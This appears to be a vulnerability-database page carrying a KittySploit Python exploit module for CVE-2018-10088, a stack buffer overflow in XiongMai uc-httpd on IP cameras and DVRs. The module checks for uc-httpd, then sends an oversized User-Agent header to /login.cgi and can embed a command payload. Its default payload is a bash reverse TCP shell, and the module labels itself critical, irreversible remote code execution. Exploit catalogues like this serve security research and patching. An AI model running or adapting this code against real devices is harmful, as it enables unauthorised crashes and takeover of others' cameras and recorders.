Lucene search
+L

XiongMai uc-httpd Overflow (CVE-2018-10088)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Stack buffer overflow in XiongMai uc-httpd via oversized HTTP headers.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
XiongMai uc-httpd 1.0.0 - Buffer Overflow Exploit
9 Jun 201800:00
–zdt
githubexploit
GithubExploit
Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Xiongmaitech Ahb7008F8-H_Firmware
13 Apr 201807:43
–githubexploit
attackerkb
attackerkb
CVE-2018-10088
8 Jun 201800:00
–attackerkb
circl
Circl
CVE-2018-10088
18 Jun 201809:04
–circl
cnvd
CNVD
XiongMai uc-httpd Buffer Overflow Vulnerability
12 Jun 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
XiongMai uc-httpd Buffer Overflow (CVE-2018-10088)
29 Jul 201800:00
–checkpoint_advisories
cve
CVE
CVE-2018-10088
8 Jun 201812:00
–cve
cvelist
Cvelist
CVE-2018-10088
8 Jun 201812:00
–cvelist
exploitdb
Exploit DB
XiongMai uc-httpd 1.0.0 - Buffer Overflow
8 Jun 201800:00
–exploitdb
exploitpack
exploitpack
XiongMai uc-httpd 1.0.0 - Buffer Overflow
8 Jun 201800:00
–exploitpack
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XiongMai uc-httpd buffer overflow (CVE-2018-10088)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'XiongMai uc-httpd Overflow (CVE-2018-10088)',
        'description': (
            'Exploits CVE-2018-10088 in XiongMai uc-httpd 1.0.0 (used in many IP cameras/DVRs): '
            'stack buffer overflow via oversized HTTP headers. Verifies uc-httpd surface and '
            'sends the canonical overflow trigger (arch-specific shellcode may be required).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-10088'],
        'platform': Platform.LINUX,
        'arch': [Arch.ARM, Arch.MIPS],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-10088'],
        'tags': ['xiongmai', 'camera', 'dvr', 'iot', 'buffer-overflow', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_10088_detect']},
        },
    }

    overflow_size = OptInteger(4096, 'User-Agent overflow length', required=False, advanced=True)
    trigger_only = OptBool(True, 'Verify/trigger only (no embedded shellcode)', required=False, advanced=True)

    def _uc_httpd(self) -> bool:
        r = self.http_request(method='GET', path='/', allow_redirects=False)
        if not r:
            return False
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items()).lower()
        return 'uc-httpd' in headers

    def check(self):
        if self._uc_httpd():
            return {'vulnerable': True, 'reason': 'XiongMai uc-httpd detected', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'uc-httpd not detected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('XiongMai uc-httpd not detected')
            return False
        size = max(int(self.overflow_size or 4096), 1024)
        padding = 'A' * size
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip()
        if cmd and not bool(self.trigger_only):
            padding = padding[:-len(cmd) - 8] + cmd
        print_status(f'Sending {size}-byte User-Agent overflow to uc-httpd')
        try:
            self.http_request(
                method='GET',
                path='/login.cgi',
                headers={'User-Agent': padding},
                allow_redirects=False,
            )
        except Exception as exc:
            print_warning(f'Overflow may have crashed service: {exc}')
        if bool(self.trigger_only):
            print_warning('BoF confirmed surface — use arch-matched shellcode for reliable RCE')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 39.8
CVSS 210
EPSS0.39715
3